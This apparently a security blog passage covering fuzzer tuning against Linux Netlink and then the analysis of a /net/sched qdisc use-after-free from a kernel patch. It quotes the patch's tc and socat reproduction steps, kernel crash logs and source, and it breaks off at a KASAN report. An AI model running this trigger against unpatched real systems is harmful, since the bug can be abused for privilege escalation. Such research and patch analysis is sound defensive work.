    with open(hex_file, "r") as f:
        # join lines, strip whitespace/newlines
        hex_string = "".join(line.strip() for line in f)

    build_seed(hex_string, protocol, out_file)

I think all in all I created ~30 seeds this way. I seeded each target protocol with at least 1 seed besides NETLINK_CRYPTO. The vast majority of the seeds became single message inputs and were simple in nature. For nf_tables specifically, I did create one input that was a series of messages to do stateful things like: create a table, then create a set, then create an object, etc.

When fuzzing with seeds, our coverage increased dramatically. The seeds alone found over 17k edges. The lesson learned is nothing new, but having good seeds dramatically enhances your fuzzing efficiency.

Mutator Tweaks

Since we’re so limited on throughput, I really wanted to make sure the inputs we were creating weren’t wasting cycles. On average we were spending over 98% of our CPU time executing the target and spending roughly 2% of the time doing snapshot resets. At that much target time, it’s clear where the bottleneck is and it’s not on anything the fuzzer itself is doing.

This kind of frees up to do more things in the fuzzer since it won’t slow the process down at all really. So what I decided to do was start hashing every input that the mutator created and comparing it to a database of the last n inputs, which I set arbitrarily at 500_000. So now, every input we create is guaranteed to not be a repeat of the last 500k inputs. This helps a little when it comes to throughput because we’re not wasting precious CPU time re-running an often seen input.

I also made sure that when the mutator was choosing mutation strategies that it would no longer accept a NOP operation in place of an applied mutation. As an example, say we get an input from the corpus to mutate and that input is already the maximum size. Previously, if we were to randomly select the ByteInsert mutation method for this input it would effectively perform a NOP and return without doing anything. This is potentially a waste of input creation cycles. So I changed the function signature of the mutation strategies to return a bool where true meant the mutation was successfully applied and false meant that it was not. This way we can make sure at least some mutation is applied to each and every input.

Lastly, I keep a constant defined in the netlink mutator that is supposed to represent the percentage of inputs that we generate from scratch. It had previously been set at 5% and I lowered it to 1% now that we have seeds. I figured this would stop us from sending so much garbage while still allowing us to do something very random that still reaches some never before reached error handling paths. In addition to the rate change, I also refactored the random generation function to produce Netlink message-like inputs instead of random blobs of data of varying lengths. Now when we generate messages from scratch, they are at least shaped like valid Netlink messages.

Hitcount Change

Some of the previous runs had absolutely exploded the corpus size, for instance in Stage 2 we had accumulated over 300k inputs in the corpus. I wanted to try and cut down on this bloat where possible because my intuition was that we were saving too many inputs. By default, Lucid would save an input if it discovered what it considered a new edge pair, eg a new basic block transition and it would save an input if it reached an edge pair a record number of times, called a hitcount. I bucket the hitcounts like AFL++ does:

/// After a fuzzing iteration, Bochs will have updated the curr_map with
    /// hit counts for each edge pair that was reached during that fuzzing
    /// iteration. Instead of keeping the hit counts literal, we instead "bucket"
    /// the hit counts into categories. So for instance if we hit an edge pair
    /// 19 times, it will be placed in the 32 hitcount bucket. This algorithm
    /// is stolen directly from AFL++ who obviously has a ton of empirical
    /// evidence showing that this is beneficial
    #[inline(always)]
    fn bucket(hitcount: u8) -> u8 {
        match hitcount {
            0 => 0,
            1 => 1,
            2 => 2,
            3 => 4,
            4..=7 => 8,
            8..=15 => 16,
            16..=31 => 32,
            32..=127 => 64,
            128..=255 => 128,
        }
    }

So, if we move from a hitcount record on an edge pair of 4 and an input achieves a hitcount of 5, we don’t save it. But if the second input were to achieve a hitcount of 8, placing it in a new bucket, it would get saved. The ratio of these hitcount record setting inputs to edge pair discovery inputs was easily more than 10 to 1 and I felt like, especially early in the campaign, they were kind of just noise and not extremely helpful.

What I moved to was a model where I only considered new hitcount records if we were “starved” for new coverage. I created the command line option to set a “starved” for coverage threshold in wall-clock time, so once you reach that, the fuzzer starts saving hitcount record inputs to the corpus. During our longest fuzzing iteration, we reached the starved state of an hour multiple times and it seemed beneficial to the fuzzing campaign at that point to save these types of inputs as they soon after found new coverage.

Corpus Sampling

In another effort to avoid corpus bloat, I moved from a model where every fuzzer gets every other fuzzer’s entire corpus every sync-interval (tunable at runtime via command line), to a model where every fuzzer would instead randomly sample inputs from other fuzzers for the entirety of the sync-interval before it would put them all back on disk and randomly pick more to sample. For my longest campaign I set this sync interval to 1 hour.

Corpus Biasing

Lastly, I decided to play with how the corpus would provide inputs to the mutator. I implemented a couple of methods: get_input_uniform and get_input_bias_new. The former would just randomly select an input from the corpus with uniform distribution (including the sampled inputs) and the latter would bias the newer inputs in the corpus by a tunable rate. For my longest campaign I made it to where around 67% of the time, we’d pick a new input. Sampled inputs from other fuzzers were considered “new” as well in this due to the way I implemented the sampling. I have to say, I don’t think this made a bit of difference in our progress. I think in a long enough time horizon it probably doesnt matter much.

We ended up setting a substantial edge-finding record in just 15h of wall-clock time and under 2 million iterations.

[lucid stats (start time: 2025-09-25 21:22:08)]
globals: uptime: 0d 15h 47m 18s | fuzzers: 8 | crashes: 0 | timeouts: 0
perf: iters: 1.923M | iters/s: 27.05 | iters/s/f: 3.38
cpu: target: 97.7% | reset: 2.2% | mutator: 0.0% | coverage: 0.1% | redqueen: 0.0% | misc: 0.0%
coverage: edges: 25866 | last find: 0h 4m 5s | map: 39.47%
snapshot: dirty pages: 9536 | dirty / total: 0.00169% | reset memcpys: 1475
corpus: inputs: 15689 | corpus size (MB): 44.976 | max input: 0x10088

So with all of the improvements over time we were able to go from 17k edges in 90 million iterations to 26k edges in 2 million iterations. I think the biggest positive change was probably just using seeds. I don’t think much of the core fuzzer tweaking (reducing corpus bloat, sampling inputs, avoiding hitcount inputs) made too much of a difference.

Conclusions

In General

• New snapshot method worked well and continued to be performant deep into campaign with thousands of dirty pages to reset
• Bochs emulation is the main bottleneck in the fuzzer, you probably need quite a bit of hardware to reach coverage saturation for complex targets
• Redqueen provided some huge boosts in edge discovery, but it needs a longer campaign to be beneficial
• Corpus bloat reduction didn’t massively affect the fuzzer, at least on our 4 day campaign, it seems benign enough to keep
• Biasing towards newer inputs didn’t seem to help the fuzzer find edges more efficiently
• Re-architecting mutators to be plug and play was as huge improvement, now creating a fuzzer is as easy as implementing a custom Mutator
• High-quality seeds are the easiest way to massively boost efficiency

Per Stage

• Stage 1: High iteration count (88M) but only 16,917 edges - inefficient due to malformed, easily rejected inputs
• Stage 2: Dramatic efficiency gain - 17,740 edges in only 2.8M iterations (~35x more efficient)
• Stage 3: Broken Redqueen severely hurt performance - only 370K iterations in 14 hours
• Stage 4: Fixed Redqueen restored throughput, rare but massive edge discovery gains
• Stage 5: Seeds + optimizations achieved best results - 25,866 edges in 1.9M iterations

Caveats

• Fuzzing is extremely random, none of these results should be taken at face value besides massive 2-10x improvements
• Fuzzing is highly target dependent. Biasing towards new inputs, our corpus sampling interval, ignoring hit-counts, and reducing corpus bloat didn’t seem to have a massive negative effect with this specific target, but may be massively beneficial or harmful against others
• Ideally I would’ve created line graphs documenting coverage for each stage, but I didn’t have the presence of mind to do that, I apologize

What’s Next?

Now with the first fuzzing journey out of the way and some of the core features improved/fixed, we can move onto more earnest bug hunting. Next blog series we will pick a single target (instead of 4 like in this episode) and iterate on a purpose-built mutator again hoping to find bugs. We will do all of the things you do when you’re fuzzing for bugs: create good seeds, visualize coverage, find roadblocks, iterate on mutator, scale the fuzzing workload to many cores, etc.

Repo-wise I hope to clean up my local version this weekend and then find a way to standardize the build process of the entire thing, maybe we’ll Dockerize it I’m not sure yet.

I’m trying to really focus this year on developing technically in a few ways. Part of that is reviewing kCTF entries. This helps me get a sense of what subsystems are producing the most bugs at the moment in the program and also keeps me up to date on buggy patterns to look for. Also I get to shamelessly steal players’ exploitation techniques as well. A lot of recent bugs have come from /net/sched so I was looking at patches for the subsystem and found a patch that claimed an exploitable UAF was possible. That patch is here. I didn’t realize at the time, but “Lion Ackermann” mentioned in the patch as the bug discoverer (and presumably exploiter) is a kCTF player.

I checked and discovered that at the time I found the patch the COS 105 instance in kCTF was still vulnerable to this bug. I stopped looking then, but lesson learned, the LTS instance was also still vulnerable. I don’t know exactly how the rules work, but this bug was exploited as a 0day entry as per the public kCTF responses spreadsheet in December, but at the time I started working on it, there were no patch links in the spreadsheet for this bug and the instances remained unpatched.

At this point I started trying to figure out the bug and possibly exploit it. My goal was to patch-gap the COS 105 instance with a 1day entry. Shortly after I began investigating the bug, a new release was announced, but luckily the new instances would be vulnerable as well as they had also not been patched. Since the COS 105 slot was unexploited, and the upcoming COS 105 instance would also be vulnerable, I mistakenly took this as a signal to not rush as the instance would probably remain unexploited while I worked on the project slowly. In hindsight, I should’ve worked harder on this as the COS 105 instance was exploited a few hours before I finished. It may be moot anyways since the bug was exploited previously in the program as a 0day, still not sure about that. Anyways, I encountered some self-inflicted roadblocks that really hindered my progress, we’ll get into those. Next time I’ll work harder and dedicate more time to the effort instead of just a few hours here and there at night.

Patch Analysis

The patch text is very descriptive and provides a nice proof-of-concept to reproduce the buggy condition:

net: sched: Disallow replacing of child qdisc from one parent to another
Lion Ackermann was able to create a UAF which can be abused for privilege
escalation with the following script

Step 1. create root qdisc
tc qdisc add dev lo root handle 1:0 drr

step2. a class for packet aggregation do demonstrate uaf
tc class add dev lo classid 1:1 drr

step3. a class for nesting
tc class add dev lo classid 1:2 drr

step4. a class to graft qdisc to
tc class add dev lo classid 1:3 drr

step5.
tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024

step6.
tc qdisc add dev lo parent 1:2 handle 3:0 drr

step7.
tc class add dev lo classid 3:1 drr

step 8.
tc qdisc add dev lo parent 3:1 handle 4:0 pfifo

step 9. Display the class/qdisc layout

tc class ls dev lo
 class drr 1:1 root leaf 2: quantum 64Kb
 class drr 1:2 root leaf 3: quantum 64Kb
 class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls
 qdisc drr 1: dev lo root refcnt 2
 qdisc plug 2: dev lo parent 1:1
 qdisc pfifo 4: dev lo parent 3:1 limit 1000p
 qdisc drr 3: dev lo parent 1:2

step10. trigger the bug <=== prevented by this patch
tc qdisc replace dev lo parent 1:3 handle 4:0

step 11. Redisplay again the qdiscs/classes

tc class ls dev lo
 class drr 1:1 root leaf 2: quantum 64Kb
 class drr 1:2 root leaf 3: quantum 64Kb
 class drr 1:3 root leaf 4: quantum 64Kb
 class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls
 qdisc drr 1: dev lo root refcnt 2
 qdisc plug 2: dev lo parent 1:1
 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p
 qdisc drr 3: dev lo parent 1:2

Observe that a) parent for 4:0 does not change despite the replace request.
There can only be one parent.  b) refcount has gone up by two for 4:0 and
c) both class 1:3 and 3:1 are pointing to it.

Step 12.  send one packet to plug
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))
step13.  send one packet to the grafted fifo
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))

step14. lets trigger the uaf
tc class delete dev lo classid 1:3
tc class delete dev lo classid 1:1

The semantics of "replace" is for a del/add _on the same node_ and not
a delete from one node(3:1) and add to another node (1:3) as in step10.
While we could "fix" with a more complex approach there could be
consequences to expectations so the patch takes the preventive approach of
"disallow such config".

The bug here is that a qdisc can be “re-parented” to a class that is not its original parent. This kind of logic was not intended. When you create these types of classes that can have qdiscs attached, a default qdisc is allocated and you can graft a new qdisc to the class afterwards to replace the current qdisc. So you can see that class 1:3 is first created and then we graft a qdisc onto it in step 8. This will free the default qdisc and instantiate this one in its place and attach it to the class.

The bug however, lets you graft that qdisc (handle 4:0) onto a different class by using the same grafting mechanism that we used on 3:1 but now we’re grafting the same qdisc onto two classes. The patch points out the side effects of this bug are basically this:

1. From qdisc 4:0’s point of view, it’s parent is still class 3:1, that is never changed
2. From class 3:1’s perspective, qdisc 4:0 is still its child qdisc
3. From class 1:3’s perspective, qdisc 4:0 is now its child qdisc
4. The refcount on the qdisc is now 2: 1 from the initial graft onto 3:1 and another 1 from the re-parent graft onto 1:3

So those are the side effects the bug produces. At this point, I didn’t know a single thing about /net/sched, classes, qdiscs, etc, so the learning curve during this process was steep. I had never dealt with this subsystem before in my life. But after a lot of Googling and ChatGPTing, I was able to reproduce the PoC in the patch with the tc utility just as the patch specifies. I went through all the steps and when I got to step 14 and it was time to trigger the UAF, I got the following splat after deleting class 1:3:

[   10.519000] ------------[ cut here ]------------
[   10.521778] list_del corruption, ffff8fdd50a008d0->next is NULL
[   10.525296] WARNING: CPU: 0 PID: 784 at lib/list_debug.c:49 __list_del_entry_valid+0x59/0xd0
[   10.530218] Modules linked in:
[   10.532091] CPU: 0 PID: 784 Comm: tc.bin Not tainted 5.15.173+ #1
[   10.535676] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.14.0-2 04/01/2014
[   10.540545] RIP: 0010:__list_del_entry_valid+0x59/0xd0
[   10.543555] Code: 48 8b 00 48 39 f8 75 67 48 8b 52 08 48 39 c2 75 74 b8 01 00 00 00 c3 cc cc cc cc 48 89 fe 48 c7 c7 80 71 cf a7 e8 e3a
[   10.554231] RSP: 0018:ffffa1020168b940 EFLAGS: 00010282
[   10.557286] RAX: 0000000000000000 RBX: ffff8fdd50a00880 RCX: 0000000000000000
[   10.561417] RDX: 0000000000000000 RSI: ffffa1020168b770 RDI: 00000000ffffffea
[   10.565575] RBP: 0000000000010003 R08: 00000000ffffdfff R09: 0000000000000001
[   10.570036] R10: 00000000ffffdfff R11: ffffffffa8669da0 R12: 0000000000000001
[   10.574238] R13: ffff8fdd44f8e000 R14: ffffffffa7ad11e0 R15: 0000000000010000
[   10.578407] FS:  000000001a406880(0000) GS:ffff8fdd5c400000(0000) knlGS:0000000000000000
[   10.583118] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   10.586532] CR2: 00000000005a6cc0 CR3: 0000000110d5a003 CR4: 0000000000370ef0
[   10.590718] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[   10.594898] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[   10.599087] Call Trace:
[   10.600704]  <TASK>
[   10.602011]  ? __warn+0x81/0x100
[   10.603979]  ? __list_del_entry_valid+0x59/0xd0
[   10.606673]  ? report_bug+0x99/0xc0
[   10.608785]  ? handle_bug+0x34/0x80
[   10.610901]  ? exc_invalid_op+0x13/0x60
[   10.613228]  ? asm_exc_invalid_op+0x16/0x20
[   10.615710]  ? __list_del_entry_valid+0x59/0xd0
[   10.618473]  drr_qlen_notify+0x12/0x50
[   10.620778]  qdisc_tree_reduce_backlog+0x84/0x160
[   10.623558]  drr_delete_class+0x104/0x210
[   10.625959]  tc_ctl_tclass+0x488/0x5a0
[   10.628214]  ? exc_page_fault+0x76/0x140
[   10.630556]  rtnetlink_rcv_msg+0x21e/0x350
[   10.633230]  ? security_sock_rcv_skb+0x31/0x50
[   10.635869]  ? rtnl_calcit.isra.0+0x130/0x130
[   10.638517]  netlink_rcv_skb+0x4e/0x100
[   10.640868]  netlink_unicast+0x231/0x370
[   10.643209]  netlink_sendmsg+0x250/0x4b0
[   10.645546]  __sock_sendmsg+0x5c/0x70
[   10.647746]  ____sys_sendmsg+0x25a/0x2a0
[   10.650116]  ? import_iovec+0x17/0x20
[   10.652338]  ___sys_sendmsg+0x96/0xd0
[   10.654575]  __sys_sendmsg+0x76/0xc0
[   10.656746]  do_syscall_64+0x3d/0x90
[   10.658970]  entry_SYSCALL_64_after_hwframe+0x6c/0xd6
[   10.662043] RIP: 0033:0x4e7697
[   10.663880] Code: 64 89 02 48 c7 c0 ff ff ff ff eb bb 0f 1f 80 00 00 00 00 f3 0f 1e fa 64 8b 04 25 18 00 00 00 85 c0 75 10 b8 2e 00 000
[   10.674696] RSP: 002b:00007ffc56673e38 EFLAGS: 00000246 ORIG_RAX: 000000000000002e
[   10.679091] RAX: ffffffffffffffda RBX: 0000000067ae1e0c RCX: 00000000004e7697
[   10.683247] RDX: 0000000000000000 RSI: 00007ffc56673ea0 RDI: 0000000000000043
[   10.687411] RBP: 00007ffc56674fb0 R08: 00000000005978a0 R09: 000000001a4102b0
[   10.691609] R10: 000000001a4082a0 R11: 0000000000000246 R12: 0000000000578448
[   10.695807] R13: 000000000054449b R14: 00000000005af620 R15: 0000000000000001
[   10.699977]  </TASK>
[   10.701360] ---[ end trace 8e001f66f1703586 ]---

At this point I was excited because I thought I had recreated the bug and caused a UAF and I’d soon be looking for ways to exploit the bug; however I was extremely wrong. All this splat is is a warning that there was an invalid list_del operation. In my development environment, this was enough to cause a kernel panic. I had KASAN enabled so if there was a UAF I would’ve seen a different splat, so now I’m very confused. On further inspection, I never even reached the step where I delete class 1:1 as in the PoC, so what is going on? Why does my PoC stop here on this list_del operation? Time to dig into the details.

First, why do even encounter a bad list_del operation? We still don’t know much about this bug or subsystem yet. I had basically just recreated the PoC in the patch and had done almost zero critical thinking of my own. After a lot of printk debugging, I finally figured out where the invalid list_del comes from.

List Bug Analysis

First of all, why is list_del complaining? Well it turns out that a common kernel configuration is CONFIG_DEBUG_LIST, which turns the list manipulation APIs, like list_del into more careful versions of themselves. list_del’s job is to remove a list_head node out of a linked list. If you can visualize a linked list in the kernel, it’s essentially a list of nodes. Each node contains a prev and a next pointer that reference the previous and the next node in the list respectively. So the debug list configuration has some sanity checks that make sure that when you go to remove a node from a list, there hasn’t been any corruption of the node itself. When we delete class 1:3, something happens during that process and we end up here:

static inline void __list_del_entry(struct list_head *entry)
{
	if (!__list_del_entry_valid(entry))
		return;

	__list_del(entry->prev, entry->next);
}

Things are going awry in the __list_del_entry_valid check it seems:

/*
 * Performs list corruption checks before __list_del_entry(). Returns false if a
 * corruption is detected, true otherwise.
 *
 * With CONFIG_LIST_HARDENED only, performs minimal list integrity checking
 * inline to catch non-faulting corruptions, and only if a corruption is
 * detected calls the reporting function __list_del_entry_valid_or_report().
 */
static __always_inline bool __list_del_entry_valid(struct list_head *entry)
{
	bool ret = true;

	if (!IS_ENABLED(CONFIG_DEBUG_LIST)) {
		struct list_head *prev = entry->prev;
		struct list_head *next = entry->next;

		/*
		 * With the hardening version, elide checking if next and prev
		 * are NULL, LIST_POISON1 or LIST_POISON2, since the immediate
		 * dereference of them below would result in a fault.
		 */
		if (likely(prev->next == entry && next->prev == entry))
			return true;
		ret = false;
	}

	ret &= __list_del_entry_valid_or_report(entry);
	return ret;
}

Which in turn calls __list_del_entry_valid_or_report because we do indeed have CONFIG_DEBUG_LIST enabled:

bool __list_del_entry_valid_or_report(struct list_head *entry)
{
	struct list_head *prev, *next;

	prev = entry->prev;
	next = entry->next;

	if (CHECK_DATA_CORRUPTION(next == NULL,
			"list_del corruption, %px->next is NULL\n", entry) ||
	    CHECK_DATA_CORRUPTION(prev == NULL,
			"list_del corruption, %px->prev is NULL\n", entry) ||
	    CHECK_DATA_CORRUPTION(next == LIST_POISON1,
			"list_del corruption, %px->next is LIST_POISON1 (%px)\n",
			entry, LIST_POISON1) ||
	    CHECK_DATA_CORRUPTION(prev == LIST_POISON2,
			"list_del corruption, %px->prev is LIST_POISON2 (%px)\n",
			entry, LIST_POISON2) ||
	    CHECK_DATA_CORRUPTION(prev->next != entry,
			"list_del corruption. prev->next should be %px, but was %px. (prev=%px)\n",
			entry, prev->next, prev) ||
	    CHECK_DATA_CORRUPTION(next->prev != entry,
			"list_del corruption. next->prev should be %px, but was %px. (next=%px)\n",
			entry, next->prev, next))
		return false;

	return true;
}

So what’s going on? We don’t know much about the /net/sched code yet, but it appears that because we have CONFIG_DEBUG_LIST, there is a check on the node you want to remove from the list. If you had the following linked list:

A -> B -> C -> D -> A

Each node in the list would point to its neighbors, for instance, for node D it would have the node C in its prev field and it would have node A in its next field because the list is circular. The validity check here makes sure that if you want to delete node D for instance, that the node C says it’s next node is D and that node A says its previous node is D. Makes sense. But in our list_del WARN() banner we see that this function returns false because list_del corruption, ffff8fdd50a008d0->next is NULL. So we can’t even check the neighboring nodes for sanity because our node D doesn’t even have a next field value, it’s NULL.

Ok so we fail this list_del and the PoC just dies here because when we delete class 1:3 the list_head that we submit for deletion at some point in the /net/sched is either corrupted or it was never initialized. So let’s now figure out what is going on in /net/sched when this bug occurs to see if we can figure out what is happening.

Sched Bug Analysis

Taking a deeper dive into the /net/sched code it became clear why the node that we were deleting was in a buggy state. In the PoC we create a class 1:1 and assign it a qdisc of type plug. A plug qdisc is meant to literally stop packets from being dequeued until its given an explicit release command or deleted, it plugs up the qdisc with packets as they are “enqueued”. So if we send a packet to class 1:1, that packet will be enqueued in 1:1’s qdisc that is a plug type, meaning those packets will sit there until we explicitly ask for them. So at this point, it’s clear that for some reason, making sure packets are held in the plug qdisc is crucial to the PoC. But what about our buggy list_head node? It’s clear that after we send a packet to class 1:1 and the plug qdisc, we send a packet to 1:3. Class 1:3 is the class that we grafted the already existing pfifo qdisc onto from 3:1 when we exercised the re-parenting bug. Let’s take a look at what happens when we send a packet to a class, namely class 1:3:

static int drr_enqueue(struct sk_buff *skb, struct Qdisc *sch,
		       struct sk_buff **to_free)
{
	unsigned int len = qdisc_pkt_len(skb);
	struct drr_sched *q = qdisc_priv(sch);
	struct drr_class *cl;
	int err = 0;
	bool first;

	cl = drr_classify(skb, sch, &err);		// [1]
	if (cl == NULL) {
		if (err & __NET_XMIT_BYPASS)
			qdisc_qstats_drop(sch);
		__qdisc_drop(skb, to_free);
		return err;
	}

	first = !cl->qdisc->q.qlen;			// [2]
	err = qdisc_enqueue(skb, cl->qdisc, to_free);	// [3]
	if (unlikely(err != NET_XMIT_SUCCESS)) {
		if (net_xmit_drop_count(err)) {
			cl->qstats.drops++;
			qdisc_qstats_drop(sch);
		}
		return err;
	}

	if (first) {
		list_add_tail(&cl->alist, &q->active);	// [4]
		cl->deficit = cl->quantum;
	}

	sch->qstats.backlog += len;
	sch->q.qlen++;
	return err;
}

There’s a few important things going in here. I’ve not yet mentioned the drr aspect of this which stands for “Deficit Round Robin” which is the type of algorithm used to determine how packet delivery is scheduled in this PoC. The details of the DRR algorithm are not super important, but from what I have learned at a high level it basically keeps track of what classes are currently “active”, ie, have packets enqueued to them, and tries to deliver the packets based on “deficits” that are configurable. So this way we make sure that packets are distributed in a way that makes sense to us as an end-user trying to shape traffic or guarantee some quality of service. This function is invoked when the qdisc we set up in step 1 has been enqueued with a packet (at the interface level, we use loopback):

• [1]: In this step we have a packet, and we attempt to classify the packet into one of the existing drr classes that belong in the root qdisc hierarchy with the drr_classify function

• [2]: If we find a class that matches for the packet, ie the priority matches a class we have setup like 1:3, we check class 1:3’s qdisc and see if it has been enqueued with any packets, if it has not, the first flag is set to true

• [3]: Class 1:3’s qdisc is enqueued with a packet

• [4]: If this was the class’s first packet, this packet needs to be placed on the drr scheduler’s active list which contains list_head structs for every drr class that has packets enqueued so that the scheduler can apply the algorithm and make sure packets are dequeued appropriately

Everything in here makes sense and after printing out the class and qdisc pointer values and lining them up with allocations from the PoC when we set up the hierarchy, nothing seemed amiss here. Let’s look at the backtrace from when the list_del WARN() occurs to see what function that occurred in:

[   10.602011]  ? __warn+0x81/0x100
[   10.603979]  ? __list_del_entry_valid+0x59/0xd0
[   10.606673]  ? report_bug+0x99/0xc0
[   10.608785]  ? handle_bug+0x34/0x80
[   10.610901]  ? exc_invalid_op+0x13/0x60
[   10.613228]  ? asm_exc_invalid_op+0x16/0x20
[   10.615710]  ? __list_del_entry_valid+0x59/0xd0
[   10.618473]  drr_qlen_notify+0x12/0x50
[   10.620778]  qdisc_tree_reduce_backlog+0x84/0x160
[   10.623558]  drr_delete_class+0x104/0x210
[   10.625959]  tc_ctl_tclass+0x488/0x5a0

So we land in drr_qlen_notify from a call to drr_delete_class:

static int drr_delete_class(struct Qdisc *sch, unsigned long arg,
			    struct netlink_ext_ack *extack)
{
	struct drr_sched *q = qdisc_priv(sch);
	struct drr_class *cl = (struct drr_class *)arg;

	if (cl->filter_cnt > 0)
		return -EBUSY;

	sch_tree_lock(sch);

	qdisc_purge_queue(cl->qdisc);				// [1]
	qdisc_class_hash_remove(&q->clhash, &cl->common);	// [2]

	sch_tree_unlock(sch);

	drr_destroy_class(sch, cl);
	return 0;
}

• [1]: In this step we purge the class’s qdisc, which in our case would be our buggy qdisc that we re-parented to 1:3 from 3:1

• [2]: Remove this class’s hash from the scheduler’s class hash table so that it cannot be looked up again

The source doesn’t quite match with the back trace, probably because of inlining, but we end up in drr_qlen_notify from qdisc_purge_queue calling qdisc_tree_reduce_backlog as part of the qdisc cleaning up process. This is where our buggy state reveals itself

void qdisc_tree_reduce_backlog(struct Qdisc *sch, int n, int len)
{
	bool qdisc_is_offloaded = sch->flags & TCQ_F_OFFLOADED;
	const struct Qdisc_class_ops *cops;
	unsigned long cl;
	u32 parentid;
	bool notify;
	int drops;

	if (n == 0 && len == 0)
		return;
	drops = max_t(int, n, 0);
	rcu_read_lock();
	while ((parentid = sch->parent)) {				// [1]
		if (parentid == TC_H_ROOT)
			break;

		if (sch->flags & TCQ_F_NOPARENT)
			break;
		/* Notify parent qdisc only if child qdisc becomes empty.
		 *
		 * If child was empty even before update then backlog
		 * counter is screwed and we skip notification because
		 * parent class is already passive.
		 *
		 * If the original child was offloaded then it is allowed
		 * to be seem as empty, so the parent is notified anyway.
		 */
		notify = !sch->q.qlen && !WARN_ON_ONCE(!n &&
						       !qdisc_is_offloaded);
		/* TODO: perform the search on a per txq basis */
		sch = qdisc_lookup(qdisc_dev(sch), TC_H_MAJ(parentid)); 
		if (sch == NULL) {
			WARN_ON_ONCE(parentid != TC_H_ROOT);
			break;
		}
		cops = sch->ops->cl_ops;				// [2]
		if (notify && cops->qlen_notify) {
			cl = cops->find(sch, parentid);			// [3]
			cops->qlen_notify(sch, cl);			// [4]
		}
		sch->q.qlen -= n;
		sch->qstats.backlog -= len;
		__qdisc_qstats_drop(sch, drops);
	}
	rcu_read_unlock();
}

• [1]: We use the parentid that is derived from the qdisc. This is where the problem is, remember that one of the effects of the bug was that the qdisc itself doesn’t know that it was reparented to 1:3, its parentid is still going to reference class 3:1

• [2]: Grab a reference to the function table for the qdisc’s class’s ops member so that we do a class appropriate search, ie drr

• [3]: Use the class ops to execute the find function drr_search_class

• [4]: We set cl to class 3:1 because according to the buggy qdisc, that is its class parent still

• [5]: We call the class ops qlen_notify function, which for drr is drr_qlen_notify

static void drr_qlen_notify(struct Qdisc *csh, unsigned long arg)
{
	struct drr_class *cl = (struct drr_class *)arg;

	list_del(&cl->alist);
}

And here is the problem! We call list_del on class 3:1’s alist member which is an uninitialized list_head. Its list_head is uninitialized (NULL) because it was never placed on the drr scheduler’s active list because when we enqueued packets into class 1:3, it was class 1:3’s alist that was initialized and inserted into the scheduler’s active class list. This explains why we get the splat.

That’s one mystery solved, but why does our PoC stop at deleting class 1:3 on a list_del bug and the patch mentions UAF and includes deleting class 1:1?

Shooting Myself in the Foot

At this point I was happy to have discovered why we were encountering the list bug, but still didn’t see how this bug was exploitable or could lead to UAF. I started to suspect that the PoC in the patch was just to prove there was in fact an issue and not directly expose a UAF exactly. This was a horrible assumption that led me very astray. For probably two days worth of effort, I read all of the code over and over looking for ways that I could get a UAF on the buggy qdisc object. I don’t know why I assumed that the UAF must be on the buggy qdisc, but the fact that it appeared to belong to two separate classes weighed heavy in my mind. The issue I kept coming back to was: the qdisc’s refcount is correct, it’s 2, so how could it be the UAF object? I tried to find ways that I could free the qdisc, but still retain a reference to it via class 1:3 or class 3:1 in hopes that that would be the way to access the UAF.

After a couple of days of trying lots of different strategies and thinking about it, I realized that there was no way to free the qdisc from this buggy condition. If you delete its real parent in 3:1 you have no way grab a handle to it again, because non-root qdiscs must have a classid. So you can’t even look up the qdisc without providing a classid. If you delete 1:3, it will remove a refcount from the qdisc, but now everything is normal, it has a refcount of 1 and belongs to class 3:1.

I was very frustrated at this part and decided to start over, maybe I missed something in the patch. I fixated on the fact that in the patch they specifically say “lets trigger the UAF” and the action includes deleting 1:1. To this point, I was never able to even delete 1:1 because I get stuck panicking on the list bug. After toying with the idea of first initializing 3:1’s alist appropriately and getting it added to the active list for the scheduler to bypass the list bug, I decided to just quickly make sure there was nothing wrong with my setup. Mind you, I’ve been working in this environment for 2-3 days at this point getting familiar with the bug, reading the code, debugging, brainstorming about ways to get a UAF on the qdisc, etc.

I revisited the list code we discussed above. There were those CHECK_DATA_CORRUPTION invocations in the __list_del_entry_valid_or_report function like this:

#define CHECK_DATA_CORRUPTION(condition, addr, fmt, ...)		 \
	check_data_corruption(({					 \
		bool corruption = unlikely(condition);			 \
		if (corruption) {					 \
			if (addr)					 \
				mem_dump_obj(addr);			 \
			if (IS_ENABLED(CONFIG_BUG_ON_DATA_CORRUPTION)) { \
				pr_err(fmt, ##__VA_ARGS__);		 \
				BUG();					 \
			} else						 \
				WARN(1, fmt, ##__VA_ARGS__);		 \
		}							 \
		corruption;						 \
	}))

#endif	/* _LINUX_BUG_H */

Welp, this is a pretty important discovery. It looks like if you have CONFIG_BUG_ON_DATA_CORRUPTION enabled, you will BUG() on an invalid list del operation and if you don’t have it enabled, you will simply receive a WARN(). I check my kernel config in my development environment and sure enough I have CONFIG_BUG_ON_DATA_CORRUPTION=y. Let’s check the kCTF kernel configuration: CONFIG_BUG_ON_DATA_CORRUPTION is not set. Yikes! This whole time I was stuck on the list delete operation, days, was because I had the wrong kernel configuration. I felt awful about this but going forward I’ll obviously make my environment more kCTF like from the beginning.

Finally a UAF to Investigate

Once I had the right kernel configuration, I re-ran the PoC and behold:

[   26.091921] ==================================================================
[   26.093519] BUG: KASAN: slab-use-after-free in __list_del_entry_valid+0x7a/0x140
[   26.095252] Read of size 8 at addr ffff8880134c0558 by task tc.bin/816
[   26.096631] 
[   26.097090] CPU: 0 PID: 816 Comm: tc.bin Tainted: G        W          6.5.13 #92
[   26.098817] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
[   26.100720] Call Trace:
[   26.101297]  <TASK>
[   26.101771]  dump_stack_lvl+0x48/0x60
[   26.102612]  print_report+0xc2/0x600
[   26.103384]  ? __virt_addr_valid+0xc7/0x140
[   26.104294]  ? __list_del_entry_valid+0x7a/0x140
[   26.105306]  kasan_report+0xb6/0xf0
